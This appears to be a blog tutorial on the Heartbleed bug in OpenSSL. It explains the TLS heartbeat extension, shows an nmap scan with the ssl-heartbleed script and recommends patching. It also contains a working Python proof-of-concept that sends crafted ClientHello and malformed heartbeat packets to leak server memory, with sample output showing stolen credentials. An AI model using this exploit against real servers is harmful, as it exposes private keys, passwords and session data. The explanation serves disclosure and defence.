ClusterAPI has been so efficient and so successful in such a short amount of time because it uses the building blocks principle. It does not concern itself with bringing new API endpoints or new techniques to consumers capabilities. It's actually building on top of available primitives from Kubernetes. A very important feature for ClusterAPI is the fact that it's called agnostic. It actually provides this one common interface that we can create our clusters in different cloud providers, but more importantly, we can do so with minimal changes to our manifests. It is a very important way to move forward, because it completely rethinks the way we sell clusters. We actually can have the concept of a cluster as a resource. Another thing about ClusterAPI, it's still experimental. If you have a use case for ClusterAPI, please give it a try and feed it back to the community. Now is the perfect time to customize ClusterAPI to your use case.
Emergence of Interfaces
Within six years of existence, Kubernetes transmogrified its identity multiple times. In a recursive manner, we see more and more of the out-of-tree approach being used, which means we extrapolate components from the core binaries of Kubernetes and make them develop independently. This has been so efficient because Kubernetes is not opinionated. Of course, it's going to be assertive when it comes to the networking model and the primitives it distributes, but it's not going to be opinionated on the underlying technology around Kubernetes on top of. As well, the users have the full flexibility to use the available primitives. They can actually construct their own resources by using the custom resource definition.
This had a huge impact. If you look into the perspective, this had a huge impact on the vendors and users and the community. When you're looking to the vendors, the emergence of interfaces means innovation. As a vendor, you do not have to concern yourself of how you can integrate your component with Kubernetes. The interface is going to be already there. As a vendor you can focus on the feature development, and how can you provision value to the customer with minimal latency. It's all about innovation and healthy competition.
When you're looking into the end user community, the emergence of interfaces means extensibility. It was never as easy as it is today to benchmark different tools with the same capability. As an end user, you actually have the privilege to choose the right tool for your infrastructure with minimal compromises. It's all about leveraging further your platform and your product.
When we look into the community, the emergence of interfaces, it's all about interoperability. Kubernetes embraces different solutions or multiple solutions for the same problem, but it actually focuses as well how can it interoperate between these solutions. It's all about creating this canvas of tooling, which actually is going to leverage a platform.
This has been extremely beneficial for Kubernetes because what it created is a landscape which we nowadays know as the cloud-native landscape. However, this would not be possible if the thinking of interfaces and standardization was not built in at the early stages of Kubernetes. This was done for the container network and container runtime interfaces. As well, we actually needed that extensibility and wide adoption for this tool. This is further confirmed by the introduction of service mesh and storage interfaces. More importantly, we can say that it had a huge impact on the vendors, innovation, on the end users for extensibility, on the community for interoperability.
However, the concept of interfaces transcends the world of Kubernetes. It can be applied to different domains and areas. This is because interfaces can be the central engine for development and innovation that anchors extensibility, but at the same time embraces multiple solutions for the same problem.
If you'd like to find out a bit more details about the topics I discussed today, please visit my Medium account. I'm going to publish an article with more details or links to research further
.
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Community comments
Insightful
by Anit Shrestha Manandhar,
Insightful
by Anit Shrestha Manandhar,
Your message is awaiting moderation. Thank you for participating in the discussion.
The brief overview summarized the perspectives I was looking forward to know and understand.
The “Interface Way Of Thinking” even with such distributes ideas is what it makes Kubernetes such an exciting tool to ply with. The facades to dive-in in one hard is daunting, but nonetheless, luring to dig deeper a into the Internet driven world.
Thank you. | https://www.infoq.com/presentations/kubernetes-interfaces-networking-storage-mesh/?itm_source=presentations_about_opensource&itm_medium=link&itm_campaign=opensource | CC-MAIN-2021-49 | refinedweb | 4,755 | 52.6 |
BBC Solicts Questions to Ask Bill Gates 210
James Hunt writes "The BBC are doing an interview with Bill Gates on Sunday 17th October at 8pm BST on BBC2, and are looking for questions people might be interested in putting to him. Heavy hitting BBC interview veteran Jeremy Paxman - known for not holding back on interviewees is conducting the interview. Email: paxmanvsgates@bbc.co.uk to submit your questions. " <preach> Remember polite and incisive question will do a better job than flame. Let's be grown-ups. </preach>
This is not good. (Score:3)
Bill, how many times a day do you read slashdot? And does the borg thing bother you?
Mr Gates? (Score:1)
What if the government does split up Microsoft? (Score:1)
Paxman should be good (Score:3)
If you are going to submit questions then make sure they are "opening" so they allow Paxman to follow up.
I really hope the BBC makes a webcast of this for you people on the other side of the pond.
Modularity? (Score:2)
Will he raise his right hand? (Score:1)
At least it might provide some comedy.
My question:
What was your reasoning for using the backslash ("\") as the directory delimiter in MS-DOS instead of the industry standard slash ("/")? I find the slash easier to type (at least on an American keyboard).
~afniv
"Man könnte froh sein, wenn die Luft so rein wäre wie das Bier"
How about... (Score:1)
(What's the emoticon for leaning over and rocking in your chair?)
open source windows! (Score:1)
Answer: (Score:1)
Question: (Score:1)
Re:What if the government does split up Microsoft? (Score:1)
So bill, Did you have to give your soul in it's... (Score:3)
Two questions. (Score:1)
2. Mr Gates, given your immense fortune and undeniable intelligence, how come you have given so little of your own money to worthy cause? I know you have set up a "Bill & Melinda Gates" foundation -- but it has been pretty much absent from the news. Don't you think you are setting a bad example for the younger generations by flaunting so openly your wealth and your greed?
Yes, I know, that's *four* questions -- but they are really lumped together in two categories... =)
Dear Bill (Score:1)
1b) If so, what do you say when you get a crash, a hang, or an other event that causes data loss?
2) Have you ever done anything illegal?
2b) What would you be willing to do if (say) some upstart operating system came along and threatened to cost Micorsoft hundreds of billions of dollars in revenue over the next decade or two?
3) Do you believe your own bullshit, or is it just for public consumption?
3b) Do you really think we're that stupid?
4) Wouldn't you rather have a Mac?
--
It's October 6th. Where's W2K? Over the horizon again, eh?
Why does Hotmail run FreeBSD? (Score:1)
Mmmmm WindowMaker [windowmaker.org]. Small, fast, and feature rich.
Paxman (Score:5)
Re:Why? (Score:1)
Cryptography (Score:2)
My actually e-mailed question to him (Score:1)
Joseph
Mmmmm WindowMaker [windowmaker.org]. Small, fast, and feature rich.
Simple Q: "Why should people trust you?" (Score:1)
BG may be richer than Croessus, but it doesn't seem that money suffices. With MS so dominant, why should we believe BG has his customer's interest at heart? Don't his shareholders come first?
-- Robert
Re:But I want to flame! (Score:4)
I can easily see him asking "Are you ever going to produce a product that saves more time than it wastes?" or "When will you realize that stability is important?"
There was one famous interview where he asked a senior politician the same question thirteen times in a row until he got a straight answer. I look forward to seeing that same no-bullshit style used against Uncle Gates' carefully prepared marketing drivel.
Do you worry about being sued? (Score:2)
Slash vs. Backslash (Score:1)
Not sure why they used slashes for options. Presumably CP/M and QDOS did. Perhaps to be different from Unix, perhaps to be similar to VMS (which uses [,
., and ] in file names instead of /).
Information at your fingertips(tm) ?? (Score:2)
The Internet has delivered this promise and yet for years Microsoft ignored the potential
of the Internet. Was the desire to own the worldwide computing infrasructure blinding Microsoft to the possibility of realizing this vision through open interoperable protocols ?
Isn't Microsoft doing the same by keeping it's Office and Win2000 products tightly controlled ?
Will "information at your fingertips" be realized (in the new millenium) by Linux, Java and the open Internet rather than Microsoft's Win2000, DCOM and tightly controlled application architecture ?
Overall, have open architectures delivered on Microsoft's "information at
your fingertips" vision far better than
Microsoft ever could ?
Note
-----------------------------------------
Decreasing boot time of windows (Score:1)
Question : (Score:1)
Over the next one or two decades what do you beleve will be the role of the desktop PC compared to portable web-surfing gadgets, and other netPCs?(either tv-top or desktop)
I just don't care (Score:5)
This isn't a casual statement, I did give thought to a question. And I might still submit it, or a variant:
A&E Biography recently named you the 41st most influential person of the past 1000 years. That is quite an honor... but Robin Williams in the same show attacked your truthfulness in a series of one-liners about several honorees. A well-regarded computer trade journalist (whose name I forget!) has commented that no one would throw Microsoft and the truth into the same room for fear of a matter-antimatter explosion.
Doesn't it concern you that Bill Gates and dishonesty are becoming as synonymous as John DeLorean and cocaine trafficking?
But the sad truth is that I simply don't give a damn what Bill Gates has to say about anything. There is simply nothing he can say that will interest me because I know, from a decade of Bill-watching, that it will be self-serving, vaporware, or both.
I wish Jeremy Paxman the best of luck, but I honestly think it would have been easier to interview Richard Nixon shortly after Watergate than Bill Gates today.
mistyped? (Score:1)
shouldn't you change the "then" to "than" before some overzealous individual acts politely and THEN FLAMES? Just a note. Don't flame me.
Re:Answer: (Score:2)
Then when MS-DOS v2 came along and needed to support directories, they couldn't use the slash as it would be ambiguous. So the "other" slash was used instead... the one which was already used as an escape character in UNIX. Which, to cut a long story short, is why Samba users everywhere regularly type four backslashes before their server name
:)
Just one question, Bill... (Score:1)
there already is a webcast (Score:1)
Re:Paxman (Score:1)
About the OMG.... (Score:5)
The OMG () is a standards body with a membership list of over 800 companies - one which reads like a who's-who in the industry. It's mission is interoperability - helping different vendors software work together.
Microsoft is a member and yet appears to ignore the resulting standards. Microsoft continues to push it's own propriority solutions.
Does Microsoft really believe these 800 other companies are wrong? Or is it safe to conclude that Microsoft is not interested in interoperability, the innovation that releases and the customer choice that this engenders [1].
Gab
[1] For instance there is one vendor of the Microsoft 'Application Server' solution (DCOM) - Microsoft, and about 20 vendors of application servers based on the OMG standard (CORBA).
Re:Modularity? (Score:1)
Re:Cryptography and Micro$oft (Score:1)
Re:there already is a webcast (Score:1)
Please don't spoil this! (Score:1)
Re:Paxman should be good (Score:4)
[Dong] Do, do do do do do do do...
It's Universally Challenged, with your host Jeeeeeeeeeeeremy Pax-mannnnnnnn.
(Jeremy) And here's your starter for ten. In the 'development lifecycle' of software, what comes after marketing?
(silence)
(Jeremy) Oh really now, come on.
[Bzzt! Gates, Harvard drop-out]
(Bill) Testing?
(Jeremy, pulling face) No, no, no, no, really now.
.... etc
(For those over the pond, Jeremy Paxman is also a gameshow host for 'University Challenge'. He asks ridiculously hard questions, and then harries the contestants and ridicules them when they (inevitably) get one wrong. 'Don't be silly' is a typical response, as is 'Of course it isn't', and 'No, no, no, no, no, no [shaking head]'.)
And the stuff about him asking a polititian (Michael Howard, then Home Secretary I think) the same question 13 times - he later admitted it was the director's fault. "Fill, Jeremy, fill!" he was shouting down the earpiece. Jeremy couldn't think of anything else to ask him, but was relieved when he realised he wasn't getting a straight answer and could keep asking the same question.
Too technical (Score:1)
--
I want to see! (Score:1)
Bend Over (Score:1)
Re:What about slashdot questions? (Score:1)
Think about it... (Score:1)
--
Commitment to following open standards (Score:1)
Will Microsoft ever commit to following open standards for the web like HTML, XML and Cascading Style Sheets? Even Internet Explorer version 5 has severe bugs in its CSS level 1 support, and lacks several features in HTML 4.0. Not to mention the HTML output from products like FrontPage and Word. Has Microsoft any plans on making sure their products outputs documents that are easy to access regardless of platform or system?
Re:Bend Over (Score:1)
What I'd Like To Know (Score:5)
Two questions:
First, I do not villify you. I do not consider you a "Great Satan" of the world, nor do I plot your downfall or anything of the sort. However, there are people out there who have some extremely negative reactions to your success, and the perception that you've gotten where you are through legal chicanery, false advertising, and outright bullying not only appears to be a common sentiment but also one justified in a disturbingly large amount of evidence. My questions to you are as follows:
First, if you had the power to do so, what would be three things that you would go back and change about the ways in which your company has done business over the years? Or, so as to not put too many words in your mouth, are there three things over the past twenty or so years of Microsoft's "ascent to stardom" that you regret on a personal level, an ethical level, or a simple bottom line profitability calculation?
My second question to you is more subtle, and probably won't engender me too popular with my Slashdot brethren. Your programming team which composed Internet Explorer 5 did an outstanding job creating a browser that, while not perfect, easily can stand on its own as a significant advance in any number of web technologies. Unfortunately, their work was marred by relatively horrific enforcement of your company's mandate to eliminate Netscape at all costs--one incident led to Compaq recieving official termination of its licensing agreement for all Windows operating systems; another led to Gateway 2000 practically thanking Microsoft for the right to allow Netscape to be a customer choice in an extremely limited circumstance. As a leader and perhaps a role model to the engineers of Microsoft, how do you justify the apparent denegration and distrust in the quality of their work, even when they create products of excellent quality?
That's what I'd like to know. Knowing a few of you here on Slashdot, you probably think I was paid off by Microsoft, or am really some 35 mid forties PR schmuck hired to defend The Man.
Nope. Email me or check my web page, and don't even try to get all geekier-than-thou with me
Yours Truly,
Dan Kaminsky
DoxPara Research
Bill? Gates? duh... (Score:1)
Zat the one who called Winders an operating system? If so, running KDE, do I have an operating system on top of another operating system?
Zat the one who declared darkness the new industry standard?
Zat the one re-doing the cream cake number?
Or is He dah driving force behind free software? (if his winders were that clean, who might have wanted to invent a mop for them?)
Be it as it may, some later generation will have to praise him for his marketing powers, or his near-to-godlike talent of combining stealing and selling. Where's the line between people like him and a common crook?
(In no way I want to convey the impression I am not a true admirer of him...so lawyers, behave!)
Billy Borg... (Score:1)
Oh come on (Score:1)
Re:Then or Than ? (Score:1)
Actually, "First be polite, then flame" appears to be accepted practice among political interviewers. Since the interviewer in question is Mr. Paxman, I think that - typo or no typo - it is appropriate.
--
"I am Blair of EU^H^HBorg. Surrender your currency and prepare to be assimilated."
Re:I just don't care (Score:1)
The DOJ questioning should seem like a walk in the park.
I wonder if paxman knows a *good* definition of innovation.
Re:Modularity? (Score:1)
Some good one (Score:1)
Why in heck did you create an OS that you have to REBOOT in order to change the IP?
Why do you need to REBOOT to change the hostname?
Why in god's name must you REBOOT five gazillion times to install NT?
Do you expect to get out of the bathroom soon?
Re:Paxman should be good (Score:1)
> even if a bit doggedly persistant.
All hail the quality of Radio 4's today programme. Although, I have to say, if I were to pick anyone to interview The Bill it wouldn't be Jeremy, it would be "BBC Rottweiler John Humphries" (as the tabloid press in this country is want to call him).
On another, slightly more off-topic note, does anyone remember the time when one of the Universities kept getting questions wrong, 5 points deducted and were playing for ages with a negative score? Damn that Jeremy whooped on they asses.
Paxman unlikely to allow question vetting (Score:1)
Oh my.....Bob Dylan you're still alife..... (Score:1)
Come on people.....If you don't like the system DON'T install it. Besides if I had a couple of billions I'd sleep really tight, wouldn't care how much asses must be slashed.
I'd rather know how he (640Kb is enough for everybody) has been able to stuff-it-down-our-throats-whilst-making-a-mean-pr
So please do go on the 'we go and the change the world tour'. The hippies tried and failed, the punks tried and failed.....who do you think you are that you would succeed?
Oh..you can flame me ofcourse, but my threshold is on 2 anyway.
#include "whatever.h"
Because the answer would make a great .au file (Score:1)
Tree (Score:2)
Mr. Gates, if you where a Tree, what type of Tree would you be?
Re:Cryptography (Score:1)
Microsoft wants...NO demands that the restrictions be lifted so that microsoft is free to sell buggy insecure encryption software to *all* of the free world.
James (apparently *under the influence*)
let forever be
nickel (Score:1)
Re:Dear Bill (Score:1)
Preference? (Score:1)
Mindcraft tests (Score:1)
--
"HORSE."
3 quickies (Score:1)
If, despite your best efforts (see urce.ac.uk/mirrors/ [opensource.ac.uk])
, open standards prevail as the mechanism for intra-software communication and data storage how will Microsoft compete?
Question 2
Do you have any plans to use a subscription system or time-limited licenses for retail Microsoft software (not web based, I want to know about Windows and Office retail, etc...)?
Question 3 (in 2 parts)
When will the OS lineage built upon 'Quick & Dirty Operating System (QDOS)' (the name of the OS BG bought, before he renamed it to MSDOS) finally end?
Why should we believe a word you say? (he had promised Win98 was the last, then Win98 2nd edition, and now Win Millennium; they are all GUI's which run on top of MSDOS).
The deep cover agent we have inside the NSA says they're planning to get agents to insert malicious code in year 2000 fixes Las Vegas just as everybodys sitting down for Christmas dinner.
Paxman wouldn't put up with that! (Score:1)
Re:there already is a webcast (Score:1)
The trial (Score:1)
now I cant wait for Sunday, if they use the info Bill and MS is going to look guilty of massive monopoly power and trying to usurp the courts, and yes Paxman is the man for the job, he makes politicians squirm all the time, now all we need are some suggestions for Bills resignation speach / suicide note ?
Re:Two questions. (Score:1)
I think that you can see here [fdncenter.org] that Mr. Gates cannot be accused of not giving any money to charity.
Re:Too technical (Score:1)
I'm a CS Student in my final year. Based in Reading, UK, same as Microsoft. Memory says I could get to their place in about 20 mins from here by bike. Now, this time next year I'll be hopefully working in IT, and I'd like to stay in this area. Am I even considering applying to MS? No way - I'd be embarrassed to have any of their software on my CV, and embarrased to know that my life was partially payed for by the effective tax on PC use that is Windows.
Do they really think no-one agrees with me?
Greg
From an MS Employee and Linux User... (Score:3)
People who support the capitalist economic model would claim that it's a good thing for Microsot to be so profit-driven, because the profits that MS makes represent happy customers. But there is a growing anti-Microsoft sentiment outside of Redmond, composed not only of open-source enthusiasts but average users as well, who claim that profits and user satisfaction are not correlated closely enough, and that Microsoft is simply ignoring the desires of users by focusing so closely on profits.
What argument would you make to convince those disgruntled users that the profit-driven corporate business model is actually the best way to produce software and satisfy users? Have you or others in the company considered trying out a small open-source project (maybe a game or a small tool or something independent from Windows or Office, etc) to see what the pros and cons of that development method might be?
Re:Dear Bill (Score:1)
Gates: Yes.
Paxman: If so, what do you say when you get a crash, a hang, or an other event that causes data loss?
Gates: Damn, I shoulda requested a taped appearance...
Gates: Eh....Uh...Hm...cough...Eh...
Paxman: Excuse me?
Gates: Sorry, I guess I have caught a cold recently...what have you just said?
Paxman: What do you say when you get a crash, a hang, or an other event that causes data loss?
Gates: Eh....Uh...Hm...cough...Eh...WHAT?
Paxman: Let's put it at the end. Mr. Gates, have you ever done anything illegal?
Gates: Being the Chairman and CEO of the world's powerful, and hence the most ethical software company, of course I haven't done anything illegal - speeding doesn't count, though - you know, being in this fast-changing industry, you'll be promptly taken over if you aren't fast.
Paxman: What would you be willing to do if (say) some upstart operating system came along and threatened to cost Micorsoft hundreds of billions of dollars in revenue over the next decade or two?
Gates: Eh...Uh...this question is irrelevant, since I can't see any competent operating system that threaten to cost us any amount of money, anytime in the future.
Paxman: Have you just said that you'll promptly be taken over if you don't act fast in this fast-changing industry? How can you be so sure that there won't be an operating system that will threaten you?
Gates: Uh...Eh...Uh...yes....Hm...cough...no... cough cough cough excuse me, the cold's strike again.
Paxman: Heh, anyway, do you believe your own bullshit, or is it just for public consumption?
Gates: Of course it is primarily targeted towards our brainwas...TCO-conscious customers and enterprise. Of course, the more people believe in us, it would be easier for us to rip'em off...Mwahaha...
Paxman: Pardon?
Gates (realizing it's live): Oh. Did I say anything? Oh yeah. We value our customers over everything else. The buck stops here.
Paxman: Do you really think we're that stupid?
Gates: Uh...eh...hm...uh...cough...excuse me?
Paxman: Wouldn't you rather have a Mac?
Gates: Definitely not. I think this is going grossly offtopic...let's talk about the exciting *new* features that will appear on Windows 2000 that we've implemented last week with 433,569 lines of new code!!! What's more...
Paxman (calling for commercial): We'll take a break for now. We'll be back 5 minutes later and ask about how Mr. Gate has caught this mysterious virus that sometimes filters what he hears.
You can't... (Score:1)
You can't interview Bill Gates, only his PR team.
Paxman polite? I think not! (links) (Score:1)
The BBC's Jeremy Paxman is not known for politeness. This is the interviewer about whom Henry Kissinger said "If this is your idea of a kind and gentle interview, I'd hate to be on one of your other shows" ("Start The Week" on BBC Radio 4).
Think of the rudest question you can without actually swearing or veering off topic, and Jeremy WILL ask it.
For the first time in my life I pity Bill Gates.
Paxman Bio [bbc.co.uk]
Pax man denounces politcal conferences [bbc.co.uk]
No more Mr. Nice Guy [bbc.co.uk]
--
"//" Works for me. (Score:1)
Security? (Score:1)
Considering the recent well publicized security problems with Hotmail and the less well-publicized security problems with the Internet Information Server and Microsoft's ODBC; how much faith should people have in Microsoft's ability to protect their confidential financial information in the Passport(tm) system?
It took almost 5 years in grad school to learn to write a sentance that long
-Chris
Reality please. (Score:1)
There is almost definitely going to be approx. 20% DOJ case questions and some kinda 'monopoly' focus by Paxman.
Reality check here: I expect *VERY LITTLE* mention of Linux as a serious threat - instead it will most likely be lumped in with 'the competition' when mentioned by Paxman.
The Beeb are going to keep this interview very mainstream, unlike Channel 4 (also terrestrial) which prefers to honor the special interest groups better (e.g. 'Triumph of the Nerds', etc).
Nonetheless I still hope the Linux questions will be fired at him, and Jeremy Paxman won't make these questions easy - if they come. A transcript of the interview would be nice - the BBC website may post this afterwards - their website content is usually quite good.
Question I'd Ask... (Score:1)
DIE! DIE! DIE! WHY WON'T YOU DIE?????
Well, it is a question...
I think he'll do okay (Score:1)
Good reading (Score:1)
Perhaps a Plan 9 Myths page? A PDP/11 Myths page? A
Re:Dear Bill (Score:1)
About 100,000,000,000 bucks have stopped with him, last I heard.
--
It's October 6th. Where's W2K? Over the horizon again, eh?
Re:Two questions. (Score:1)
Hmm, this one's getting sent to the Beeb...
Greg
My question, and the emoticon (Score:1)
~ o--|=)
(I know it's not the best)
My question for Bill Gates:
Mr Gates, what do you prefer - Lemon Meringue or coconut cream? And do you like a flaky pastry crust or graham cracker?
I can't think of anything . . . (Score:1)
I would consider it a truly bad day to be stuck on an elevator with Bill Gates, & forced to have no one but that pathetic twerp to talk to for hours. If it were any other computer industry figure I can think of, the time trapped together could be spent talking about coomputers, or the weather -- or simply ignoring one another (which would prolly piss of Larry Ellison to no end
Quite simply, I don't want someone as aggressive & lacking in common courtesy as he in my world. And those characteristics apparently are his entire personality.
And while I might not be bright enough to win an argument with Bill Gates, I am bright enough to know you just don't beat the crap out of the world's richest man & expect to enjoy much of a life afterwards.
Geoff
Re:My actually e-mailed question to him (Score:2)
Re:Paxman (Score:1)
JP: "Did you ask the Director of Prisons to resign?"
NH: blah, blah, avoid issue
JP: "Did you ask him to resign?"
NH: more of the same
JP: "Did you ask him to resign?"
repeat
Great stuff
BTW It was obvious that Kissinger hadn't been told was to expect from our Jez (even if it was 9:00am on a Monday morning).
Democracy in a computerized world (Score:1)
every aspect of life, a trend that will only continue as we move into the 21st century,
do you think that the domination of the computer industry by any one company or
organization (no matter how well intentioned they may be) places too much power in
the hands of a single, non-elected body? Could this power over the computerised
world pose a threat to other institutions in the real world, such as other companies,
whole industries, or even, potentially, entire governments? Should moves not be
made now to prevent this possibility and protect our democratic institutions, even at
the expense of inovation and the free market?
bil (but not that one!)
Control v. Charity (Score:1)
A lot of the memos during Microsoft's anti-trust trial have shown that a lot of Microsoft's day to day operations are micromanaged by your hand. During your deposition, you denied or claimed to have forgotten being involved in the decision making process.
Does the fact that all of your charitable contributions are channelled through your personal foundation rather than being given directly to non-profits demonstrate a fundamental need for control (even to point of subverting your charitable human instincts)?
Re:But I want to flame! (Score:1)
Re:Dear Bill (Score:1)
Re:What about slashdot questions? (Score:2)
My question that I submitted was about standards. (Score:2)
I know Microsoft is a business and businesses make money.
But I've heard that you are interested in increasing innovation and
technology. If this is true, then a heterogeneous environment is
the more productive than a homogeneous one. To do this we
need to form standards: standards in communication, standards
in document format, and standards in user interfaces. Standards
should be configurable to suit most environments. This doesn't mean
that standards should benefit one environment over another.
It's good to push for standards, but I see Microsoft pushing those
that will benefit Microsoft while damaging other environments.
This is not a Good Thing(TM). Standards should be used to
help different environments interact and not to improve ones
market share. The former is a perspective of a technical person,
the later is the perspective of a marketer.
My question: Are you a technical advocate, or are you just
here for marketing?
PS: when will Windows(tm) GUI be able to push back a window.
If I have a window full screen in front of other windows, I would like
to just push it to the back (under other windows). All other
environments
I've used allow this, but Windows is yet to do
Steven Rostedt
Interview is tomorrow not Sunday (Score:2)
Re:I just don't care (Score:2)
Perhaps this is the quote you're looking for:
I trust you don't actually think he'll ANSWER... (Score:2)
--
grappler
My Question(s) (Score:2)
#2, If so, why does his company refuse to offer any sort of warranty on said products if they fail? (witness the End User License Agreement, from any version of Windows: "Microsoft Corporation hereby disclaims all warranties and conditions with regard to the software, including all implied warranties and conditions of mechantability or fitness for a particular purpose.")
If a company truly believes that they make a quality product, should they not be willing to back-up that belief with a warranty stating that the product will (at least) do what it was advertised to?
(nb. before anyone points out that GPL does pretty much the same thing, keep in mind that GPL software can be obtained for free (beer) - MS sells it's wares for money.. and since (in theory) I'm handing over my cash, I should be able to expect some guarantee that the damn thing will at least do what the box says.)
Re:Wasn't IE actually bought from someone else? (Score:2)
IE3 was the first build that actually impressed me, and stands to this day as one of the fastest and slickest products to leave Microsoft.
I can't imagine, after seeing the quality level of IE3, how Microsoft could have so little faith in the skills of their coders that they had to lie, cheat, and steal their browser into dominance.
Everybody says Microsoft can't code...I find it almost tragic that Microsoft agrees.
Yours Truly,
Dan Kaminsky
DoxPara Research
Re:Paxman should be good (Score:2)
Marketing
Requirements
Marketing
Coding
Marketing
Release
Marketing
Analysis
Marketing
Design
Maintenance
Marketing
Re-release
Marketing
Doug
Re: because I decide how systems are built (Score:2)
But we're professionals and recognize that sometimes MS is the correct solution... but the distortions over the past few weeks has been so transparent that we're left wondering if there's *anything* we can trust. In our situation, that question answers itself. If we don't have confidence in our tools we don't use them, and if we don't have confidence in the companies we don't bother paying attention to what they say.
Microsoft can make all of the claims it wants, but businesses have to find local staff to actually make their projects work. These people bring their own experiences to the job, and don't dismiss a major vendor out-of-hand lightly. But when they do, any sane company will ask *why*. It doesn't matter if the CTO thinks that Bill Gates is the hacker's god if he can't find the senior people who can actually bring a project to completion.
If you think I'm overstating the case, I invite you to compare the number of sites writing code in Pascal (or even Pascal, Modulo-2/-3, and Ada) vs. C. There are a lot of deep similarities.
Here's one (Score:2)
Re:"Flaimbaiter" gets Score 4! I'm impressed! (Score:2)
I suppose it would have been flamebait if he had posted it to alt.fan.bill-gates, but in the present context it happens to make perfect sense.
For that matter, I agree with him. When was the last time BG did anything significant for IT, other than switching Micorsoft toward the internet when he discovered he had missed "the road ahead" ?
If he wasn't sitting on $100G and didn't have enormous influence at that 900 pound gorilla in Redmond, no one would care a fig about his opinions. Those of us who are able to keep Micorsoft at arm's length don't care already. The "flamebaiter" has it exactly right, at least for some of us.
He's out of my life, except to the extent he can damage open protocols and suppress innovation. And I think those days are waning rapidly.
--
It's October 6th. Where's W2K? Over the horizon again, eh? | https://slashdot.org/story/99/10/12/0811245/bbc-solicts-questions-to-ask-bill-gates | CC-MAIN-2018-22 | refinedweb | 5,440 | 72.05 |
Hello everybody, my name is Alex. And I want to present you my PHP framework for creating micro services. It is based on my experiments in this area, then it has become a pet project, and then I have created several projects, wich are based on this framework.
When I have started developing it, I what to make solution wich:
- can be easily used in the existing projects and legacy code;
- have ability to create simple things fast;
- be neat and expressive;
- use abilities of the modern PHP.
What will be the first step? Sources of course ) It can be found on github
And to start fast lets create the first hello world application.
First of all, we need to understand how our endpoints will be called.
If you are using Apache, then you can create .htaccess file, with the following content:
# use mod_rewrite for pretty URL support
RewriteEngine on
RewriteRule ^([a-z0-9A-Z_\/\.\-\@%\ :,]+)/?(.*)$ index.php?r=$1&%{QUERY_STRING} [L]
RewriteRule ^/?(.*)$ index.php?r=index&%{QUERY_STRING} [L]
It will allow you to call endpoints like this
But if you are using nginx or don’t want to use .htaccess then you can call endpoints in this way:
And now we’re ready to create our first micro service. It will consists of one endpoint, wich will handle GET requests and return information that he is OK ) A sort of health check.
First of all, we need to add our framework to the project:
composer require mezon/mezon
Then include autoload.php
require_once (autoload.php');
And the first class will look like this:
class TodoService extends \Mezon\Service\ServiceBase implements \Mezon\Service\ServiceBaseLogicInterface { /* class body */ }
More details about it:
ServiceBase – base class for all micro services with the most common functionality;
ServiceBaseLogicInterface – this interface must be implemented by class if it contains endpoint handlers. It does not yet force you to implement methods, it is just made for more strict typization.
And now we are ready to implement the first endpoint handler:
public function actionPing() { return ('I am alive!'); }
And then launch it:
\Mezon\Service\Service::start(TodoService::class);
Let’s combine all lines of code and look at the whole picture:
/** * Service class */ class TodoService extends \Mezon\Service\ServiceBase implements \Mezon\Service\ServiceBaseLogicInterface { /** * First endpoint */ public function actionPing() { return ('I am alive!'); } } \Mezon\Service\Service::start(TodoService::class);
You may want to ask me – wich URL should we call? The truth is that if you have method with the name action it means that framework will automatically create handler for the URL In our case it will look like this
By the way: capital letters will be replaced on lower case letters prefixed with ‘-’. For example the method actionHelloWorld will become handler for the next URL:
Let’s dig deeper.
All of you know good practices for applilcations. For example, MVC (or any other pattern of the same kind). We have the same story in the world of micro services. I mean that all things wich must be isolated better keep isolated.
In our case service’s class should do one thing – combine parts of this puzzle and logic should be in another class. To do this let’s modify our code as shown below:
class TodoLogic extends \Mezon\Service\ServiceBaseLogic { /** * First endpoint */ public function actionPing() { return ('I am alive!'); } } class TodoService extends \Mezon\Service\ServiceBase { } \Mezon\Service\Service::start(TodoService::class, TodoLogic::class);
You may notice that we have created separate class with our logic:
class TodoLogic extends \Mezon\Service\ServiceBaseLogic
It is derived from the class ServiceBaseLogic (it provides some functions wich will be described further).
The class TodoService is no longer implements the interface ServiceBaseLogicInterface, but now the class ServiceBaseLogic implements it.
After the logic was excluded from the service class and moved to the logic class we have got quite empty class. And it can be completely removed:
class TodoLogic extends \Mezon\Service\ServiceBaseLogic { /** * First endpoint */ public function actionPing() { return ('I am alive!'); } } \Mezon\Service\Service::start(\Mezon\Service\ServiceBase::class, TodoLogic::class);
In this example the service is launched by default class ServiceBase, not our custom one.
Let’s dig even more deeper.
After I have used this framework in several projects I have got quite huge classes with tons of busyness logic. From one side it was hurting my eyes, and from the other side Sonar Cube have raised lots of errors, and finally it was not clear how implement strategy of separating read- and write methods (i.e. CQRS).
That’s why I have implemented the feature wich allows group handlers within separate classes with logic. And it allows to use them within on service or in separate ones.
For example, you can implement the whole CRUD logic in one service. But you can also split methods in two groups:
- group of methods for reading data (R in CRUD);
- and group of methods for changing data (CUD in CRUD).
And as an illustration let’s add several new methods:
class TodoSystemLogic extends (\Mezon\Service\ServiceBaseLogic { public function actionPing() { return ('I am alive!'); } } /** * Read logic implementation */ class TodoReadLogic extends (\Mezon\Service\ServiceBaseLogic { public function actionList() { return ('List!'); } } /** * Write logic implementation */ class TodoWriteLogic extends (\Mezon\Service\ServiceBaseLogic { public function actionCreate() { return ('Done!'); } } \Mezon\Service\Service::start(\Mezon\Service\ServiceBase::class, [ TodoSystemLogic::class, TodoReadLogic::class, TodoWriteLogic::class ]);
Let’a review main changes:
- we have created classes with logic TodoSystemLogic (system methods), TodoReadLogic (read methods), TodoWriteLogic (data change methods);
- when the service is launched we pass several classes with logics as parameters, not one like in the previous examples.
Well that’s all for today. Other abilities of the framework will be described in the next article. There are a lot of thigs to be shown. And for now visit repository of the project
Learn more
More information can be found here:
Discussion (6)
your router is very similar to Klein, why don't you use it? have you ever thought about making an automatic routing REST system?
for sample, in Laravel 5.4 you can auto routing using the "resource" method. in my conception of a real "automatic REST routing" is possible do the same without use the "resource" method.
I shall dig into it. Stay tuned )
Looks like this is what you need - github.com/alexdodonov/mezon-crud-...
What do you mean "automatic REST routing"?
Any comments people? ) | https://practicaldev-herokuapp-com.global.ssl.fastly.net/alexdodonov/new-php-framework-for-creating-microservices-3ljo | CC-MAIN-2021-31 | refinedweb | 1,054 | 53.92 |
This.
Scan:
TLS HearBeat Extension.
The vulnerability lies in the implementation of TLS Heartbeat extension. There is common necessity
in an established ssl session to maintain the connection for a longer time. The HeartBeat protocol extension is added to TLS for this reason. The HTTP keep-alive feature does the same but HB protocol allows a client to perform this action in much higher rate.
The client can send a Heart-Beat request message and the server has to respond back with a HearBeat response .
